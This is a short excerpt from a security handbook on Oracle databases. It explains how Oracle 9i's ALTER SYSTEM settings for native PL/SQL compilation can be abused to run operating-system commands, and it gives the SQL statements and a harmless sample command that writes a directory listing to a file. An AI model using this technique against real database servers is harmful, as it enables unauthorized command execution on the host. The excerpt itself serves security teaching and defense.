The Oracle® Hacker's Handbook: Hacking and Defending Oracle

10.5. Running OS Commands Using ALTER SYSTEM

This next example is a bit of a "hack" and was never intended by Oracle as a proper method for running commands but it works well. In Oracle 9i it is possible to manipulate the way Oracle compiles native PL/SQL programs. This is done by providing the name of a make program. Clearly, this can be abused to run OS commands:

ALTER SYSTEM SET plsql_native_make_utility = 'cmd.exe /C dir >
c:\ooops.txt &';
ALTER SYSTEM SET plsql_native_make_file_name = ' foo';
ALTER SYSTEM SET plsql_native_library_dir='bar';

CREATE OR REPLACE PROCEDURE ohoh AS
BEGIN
NULL;
END;
/
show errors

When Oracle compiles the ohoh procedure, Oracle executes the following:

cmd.exe /C dir > c:\ooops.txt & -f foo bar/RUN_CMD__SYSTEM__0.DLL

Oracle 10g deprecated the plsql_native_make_utility parameter.